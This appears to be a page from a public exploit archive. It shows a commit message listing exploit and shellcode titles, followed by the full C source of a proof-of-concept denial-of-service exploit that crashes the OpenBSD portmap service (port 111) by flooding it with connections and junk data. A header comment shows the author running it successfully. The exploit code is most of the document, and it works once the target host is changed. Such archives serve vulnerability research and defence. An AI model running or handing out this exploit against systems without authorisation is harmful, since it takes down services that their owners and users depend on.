880bbe402e
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
80 lines
No EOL
2.6 KiB
C
80 lines
No EOL
2.6 KiB
C
// source: https://www.securityfocus.com/bid/56671/info
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OpenBSD is prone to a remote denial-of-service vulnerability.
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Successful exploits may allow the attacker to cause the application to crash, resulting in denial-of-service conditions.
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OpenBSD versions prior to 5.2 are vulnerable.
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/*
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* authors: 22733db72ab3ed94b5f8a1ffcde850251fe6f466
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* 6e2d3d47576f746e9e65cb4d7f3aaa1519971189
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* c8e74ebd8392fda4788179f9a02bb49337638e7b
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*
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* greetz: 43c86fd24bd63b100891ec4b861665e97230d6cf
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* e4c0f3f28cf322779375b71f1c14d6f8308f789d
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* 691cb088c45ec9e31823ca7ab0da8b4cf8079baf
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* b234a149e7ef00abc0f2ec7e6cf535ef4872eabc
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*
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*
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* -bash-4.2$ uname -a
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* OpenBSD obsd.my.domain 5.1 GENERIC#160 i386
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* -bash-4.2$ id
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* uid=32767(nobody) gid=32767(nobody) groups=32767(nobody)
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* -bash-4.2$ netstat -an -f inet | grep 111
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* tcp 0 0 127.0.0.1.111 *.* LISTEN
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* tcp 0 0 *.111 *.* LISTEN
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* udp 0 0 127.0.0.1.111 *.*
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* udp 0 0 *.111 *.*
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* -bash-4.2$ gcc openbsd_libc_portmap.c
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* -bash-4.2$ ./a.out
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* [+] This code doesn't deserve 1337 status output.
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* [+] Trying to crash portmap on 127.0.0.1:111
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* [+] 127.0.0.1:111 is now down.
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*
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*/
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#include <stdio.h>
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#include <stdlib.h>
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#include <sys/socket.h>
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#include <sys/types.h>
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#include <netinet/in.h>
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#include <arpa/inet.h>
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#define HOST "127.0.0.1"
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#define PORT 111
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#define LOOP 0x100
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int main(void)
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{
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int s, i;
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struct sockaddr_in saddr;
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printf("[+] This code doesn't deserve 1337 status output.\n");
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printf("[+] Trying to crash portmap on %s:%d\n", HOST, PORT);
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saddr.sin_family = AF_INET;
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saddr.sin_port = htons(PORT);
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saddr.sin_addr.s_addr = inet_addr(HOST);
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s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
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if(connect(s, (struct sockaddr *) &saddr, sizeof(struct sockaddr_in)) == -1) {
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printf("[-] %s:%d is already down.\n", HOST, PORT);
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return EXIT_FAILURE;
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}
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/* # of iteration needed varies but starts working for > 0x30 */
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for(i=0; i < LOOP; ++i) {
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s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
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connect(s, (struct sockaddr *) &saddr, sizeof(struct sockaddr_in));
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send(s, "8========@", 10, 0);
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}
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if(connect(s, (struct sockaddr *) &saddr, sizeof(struct sockaddr_in)) == -1)
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printf("[+] %s:%d is now down.\n", HOST, PORT);
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else
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printf("[-] %s:%d is still listening. Try to increase loop iterations...\n");
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return EXIT_SUCCESS;
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} |